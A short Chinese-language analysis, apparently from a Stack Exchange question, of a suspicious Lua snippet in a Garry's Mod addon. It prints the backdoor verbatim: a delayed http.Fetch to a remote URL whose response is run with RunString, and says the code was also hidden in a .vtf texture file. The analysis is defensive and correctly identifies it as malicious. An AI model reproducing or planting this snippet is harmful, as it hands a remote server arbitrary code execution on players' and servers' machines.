询问Garry's Mod可疑Lua代码是否为恶意后门程序

代码分析 #

先看你提供的这段Lua代码：

timer.Simple(1, function() http.Fetch("https://kvac.cz/f.php?key=2SzqLfShfxnu81uPmMOi", function(b) RunString(b, ":", false) end)end)

拆解它的核心行为：

• 延迟1秒启动后续操作，降低被即时检测的概率
• 从指定远程地址下载未知内容
• 直接把下载到的内容当作Lua代码执行

结论 #

这百分百是恶意后门程序。它属于典型的“远程代码执行”后门：只要加载了这个插件，远程服务器的控制者就能随时推送任意恶意指令，比如窃取游戏账号信息、操控你的游戏角色、破坏服务器数据，甚至进一步渗透你的设备。

另外你提到在materials/npc/help.vtf文件里也有相同代码，这是恶意者的隐藏手段——把恶意代码塞进本该存放游戏材质的VTF文件中，以此躲开常规的插件安全扫描。

内容的提问来源于stack exchange，提问作者roty2Poulet